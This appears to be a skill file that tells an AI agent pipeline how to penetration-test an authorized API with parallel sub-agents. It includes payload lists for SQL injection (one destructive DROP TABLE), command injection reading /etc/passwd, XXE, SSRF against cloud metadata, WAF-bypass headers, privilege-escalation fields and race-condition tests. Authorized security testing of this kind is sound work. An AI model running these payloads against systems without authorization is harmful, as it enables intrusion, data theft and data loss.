crypto-recon-pentest

name	crypto-recon-pentest
description	Comprehensive API penetration testing specialist. Runs AFTER flow script is built. Spawns parallel test agents for auth bypass, header manipulation, injection (SQLi/RCE/SSTI), IDOR, SSRF, mass assignment, business logic, and rate limiting. Generates full vuln report. Requires authorized target only.

Crypto Recon — API Pentest Specialist

Purpose

Given a working API flow (from crypto-recon-building) + endpoint catalog, systematically test every attack surface in parallel. Goal: find exploitable vulnerabilities before adversaries do.

Authorization required. Only run against targets you own or have explicit written permission to test.

Input (read all before spawning agents)

• output/[name]/final/flow_*.py — working authenticated script (signing + auth already solved)
• output/[name]/final/[name].md — crypto report (know which headers are signed, which are auth)
• Retrofit endpoint catalog from analysis (Agent 13 output)
• Auth chain from analysis (Agent 14 output)
• HAR file if available — real request/response pairs as ground truth

Phase 1 — Recon & Catalog

Before testing, build a complete attack surface map:

python tools/pentest.py --catalog output/[name]/final/flow_*.py --output output/[name]/pentest/

This produces output/[name]/pentest/surface.json:

{
  "base_url": "https://api.example.com",
  "endpoints": [
    {
      "method": "POST",
      "path": "/api/v1/login",
      "headers": {"Authorization": "Bearer ...", "X-Sign": "...", "X-Timestamp": "..."},
      "body_fields": ["username", "password", "device_id"],
      "signed_headers": ["X-Sign", "X-Timestamp"],
      "auth_headers": ["Authorization"]
    }
  ]
}

Phase 2 — Parallel Test Agents (spawn ALL simultaneously)

Spawn one agent per category — all run at the same time:

---

Agent A — Auth Bypass

Test: what happens when auth headers are missing, empty, or invalid?

For each endpoint:

1. Remove Authorization header entirely → expect 401, check for 200/403/500
2. Send Authorization: (empty value) → check response
3. Send Authorization: Bearer invalid_token → check response
4. Send Authorization: Bearer null / Bearer undefined / Bearer 0 → check response
5. Send Authorization: Bearer <valid_token_for_other_user> → IDOR check
6. Downgrade: send Authorization: Basic <base64(admin:admin)> → check
7. Remove signing headers (X-Sign, X-Timestamp, etc.) one at a time
8. Empty signing headers → check if server validates or ignores

Vuln indicators:

• HTTP 200 with valid data after removing auth → AUTH BYPASS (CRITICAL)
• HTTP 200 with any auth token → NO TOKEN VALIDATION
• Different error for valid vs invalid token → USER ENUMERATION
• Stack trace in response → INFO DISCLOSURE

---

Agent B — Header Injection & Manipulation

Test: injection payloads in every header field.

Payload list per header:

' OR '1'='1             ← SQLi
"; ls -la #             ← command injection  
{{7*7}}                 ← SSTI (Jinja2/Twig)
${7*7}                  ← SSTI (EL/Freemarker)
<script>alert(1)</script> ← XSS (reflected)
../../../etc/passwd     ← path traversal
http://127.0.0.1/       ← SSRF via header
X-Forwarded-For: 127.0.0.1  ← IP spoofing
X-Real-IP: 127.0.0.1
X-Original-URL: /admin
X-Rewrite-URL: /admin
Host: internal-service  ← Host header injection

Test each payload in:

• All custom app headers (X-*)
• User-Agent
• Content-Type (change to text/xml, application/xml → XXE)
• Accept header
• Referer

Vuln indicators:

• 49 in response body → SSTI confirmed (7*7=49)
• /etc/passwd content → LFI
• Internal service response → SSRF
• SQL error messages → SQLi
• Reflected payload in response → XSS

---

Agent C — Body Field Injection

Test: every body/form field with injection payloads.

For each string field in the request body:

payloads = [
    # SQLi
    "' OR '1'='1' --",
    "1; DROP TABLE users--",
    "1 UNION SELECT null,null,null--",
    "' OR SLEEP(5)--",          # time-based blind
    # RCE / Command injection
    "; ls -la",
    "| cat /etc/passwd",
    "`id`",
    "$(id)",
    "${IFS}id",
    # SSTI
    "{{7*7}}",
    "${7*7}",
    "#{7*7}",
    "<%=7*7%>",
    # Path traversal
    "../../../../etc/passwd",
    "..%2F..%2F..%2Fetc%2Fpasswd",
    # XXE (for XML body)
    "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>",
    # NoSQL injection
    '{"$gt": ""}',
    '{"$where": "sleep(5000)"}',
    # Deserialization (Java)
    "rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0...",
]

For each numeric field:

numeric_payloads = [
    -1, 0, -999999, 999999999, 2147483647, -2147483648,  # int overflow
    1.7976931348623157e+308,  # float max
    "NaN", "Infinity", "null", "undefined",
    "0x1337",  # hex string in numeric field
]

Vuln indicators:

• Response time > 5s on sleep payload → Blind SQLi/SSRF
• Error containing mysql, postgres, ORA-, sqlite → SQLi with DB disclosure
• 49 in response → SSTI
• File content in response → LFI/RCE

---

Agent D — IDOR & BOLA (Broken Object Level Authorization)

Test: can user A access user B's data?

Strategy:

1. Identify all URL path parameters: /api/user/{id}/data, /api/order/{order_id}
2. Identify all body ID fields: user_id, account_id, order_id
3. Test with:
   • ID ± 1 (neighboring IDs)
   • ID = 0, -1, 999999
   • ID = other user's known ID (if you have two test accounts)
   • ID = null, undefined, *, %00
   • GUID fuzzing: change last 4 chars

Vuln indicators:

• Response 200 with data from a different user → IDOR (CRITICAL)
• Response 200 with empty data (not 403) → Soft IDOR
• Response 500 → Error handling issue

---

Agent E — SSRF (Server-Side Request Forgery)

Test: does any field accept URLs that the server fetches?

Fields to target: any field named url, callback, webhook, redirect, image, avatar, link, endpoint, target

Payloads:

http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/  ← AWS metadata
http://metadata.google.internal/computeMetadata/v1/  ← GCP
http://0x7f000001/  ← hex IP bypass
http://0177.0.0.1/  ← octal IP bypass
http://127.1/       ← short IP bypass
http://[::1]/       ← IPv6 localhost
http://burp-collaborator-domain.com/  ← OOB detection

Also test Referer, X-Forwarded-Host, Host headers with SSRF payloads.

Vuln indicators:

• Cloud metadata in response → SSRF (CRITICAL)
• Different response time for reachable vs unreachable → Blind SSRF
• Connection to collaborator domain → OOB SSRF

---

Agent F — Mass Assignment & Parameter Pollution

Test: can extra fields escalate privileges or bypass business logic?

Add undocumented fields to request body:

privilege_fields = {
    "role": "admin",
    "is_admin": True,
    "admin": True,
    "is_staff": True,
    "privilege": 999,
    "user_type": "admin",
    "is_verified": True,
    "balance": 999999999,
    "credit": 999999999,
    "discount": 100,
    "price": 0,
    "amount": -100,  # negative purchase
    "free": True,
    "bypass": True,
    "debug": True,
    "test": True,
    "internal": True,
}

Test HTTP parameter pollution (duplicate params):

POST /api/buy
amount=100&amount=-100

Vuln indicators:

• Server accepts extra fields and reflects them back → MASS ASSIGNMENT
• Balance changes unexpectedly → BUSINESS LOGIC BYPASS
• Price becomes 0 or negative → CRITICAL business logic

---

Agent G — Business Logic & Rate Limiting

Test: edge cases in business rules + brute force protection.

Business logic tests:

1. Send the same request twice rapidly (duplicate transaction)
2. Race condition: send 10 identical requests simultaneously (threading)
3. Negative amounts: -100 for purchase fields
4. Zero amount: 0
5. Overflow amount: 9999999999
6. Skip payment step: go directly to order confirmation endpoint
7. Replay: resend the same signed request multiple times (is nonce enforced?)
8. Expired token reuse: use a token that was logged out

Rate limiting tests:

import threading
# Send 50 requests in 1 second — check if any succeed beyond threshold
# Check for 429 Too Many Requests
# Check if rate limit applies per IP, token, or not at all

Vuln indicators:

• Two identical transactions both succeed → DOUBLE SPEND
• Race condition allows negative balance → RACE CONDITION
• Expired/logged-out token still works → TOKEN NOT INVALIDATED
• No rate limiting on login/OTP endpoint → BRUTE FORCE POSSIBLE

---

Agent H — Information Disclosure & Error Analysis

Test: what information leaks from error responses?

Tests:

1. Malformed JSON body → check error message
2. Missing Content-Type → check response
3. Send OPTIONS, TRACE, CONNECT methods → check allowed methods
4. Add X-HTTP-Method-Override: DELETE header → method override
5. Access non-existent endpoints: /api/v1/admin, /api/debug, /.env, /api/swagger, /api/docs
6. Send request with very large body (10MB)
7. Send request with null bytes: field\x00value
8. Unicode in fields: �, ￾

Check responses for:

• Stack traces (Java/Python/Node stack)
• Database error messages
• Internal IP addresses in error
• Dependency versions in headers (X-Powered-By, Server)
• Debug endpoints accessible

---

Phase 3 — Collect & Triage Findings

After all agents complete, triage by severity:

Severity	Conditions
CRITICAL	RCE, auth bypass with 200, SSRF to cloud metadata, SQL injection with data exfil
HIGH	IDOR exposing other users' data, mass assignment privilege escalation, blind SQLi
MEDIUM	Business logic bypass, rate limiting absent on auth, token not invalidated
LOW	Info disclosure, verbose errors, missing security headers
INFO	Method enumeration, debug endpoints (returning 403)

Phase 4 — Generate Pentest Report

Write: output/[name]/pentest/report.md

Format:

# API Pentest Report — [app name]
Date: [date]
Target: [base URL]
Endpoints tested: [N]
Total test cases: [N]

## Executive Summary
[N] CRITICAL, [N] HIGH, [N] MEDIUM, [N] LOW

## Findings

### [VULN-001] [Title] — CRITICAL
Endpoint:  POST /api/v1/login
Test:       Remove Authorization header
Request:
  POST /api/v1/login
  [no Authorization header]
  Body: {"username":"test"}

Response:
  HTTP 200 OK
  {"token": "...", "user": {...}}

Impact: Any unauthenticated user can access authenticated endpoints
PoC:    output/[name]/pentest/poc_vuln001.py
Remediation: Validate Authorization header server-side before processing

For each CRITICAL/HIGH finding, write a standalone PoC script: output/[name]/pentest/poc_[vuln_id].py

Phase 5 — PoC Scripts

Each PoC must be:

• Self-contained (imports only stdlib + requests/cloudscraper)
• Includes comments explaining the vulnerability
• Shows before (normal) and after (exploited) responses
• Has a clear if __name__ == "__main__": entry point

Error Handling

Situation	Action
Endpoint returns 404 always	Skip — endpoint may not exist in test env
WAF blocking requests	Note WAF presence, try basic bypass (X-Forwarded-For: 127.0.0.1)
Rate limited mid-test	Slow down: add 0.5s delay between requests
SSL/cert error	Use verify=False in requests, note cert issue
Signing required	Use signing function from reconstruct_*.py — sign every request
Signed headers break on mutation	For header/body tests, resign after mutation

Integration with Pipeline

This skill runs AFTER crypto-recon-building produces flow_*.py.

crypto-recon-building (flow_*.py ready)
    │
    ▼
crypto-recon-pentest
    ├── Agent A: Auth bypass
    ├── Agent B: Header injection
    ├── Agent C: Body injection (SQLi/RCE/SSTI)
    ├── Agent D: IDOR/BOLA
    ├── Agent E: SSRF
    ├── Agent F: Mass assignment
    ├── Agent G: Business logic + rate limiting
    └── Agent H: Info disclosure
    │
    ▼
output/[name]/pentest/report.md
output/[name]/pentest/poc_*.py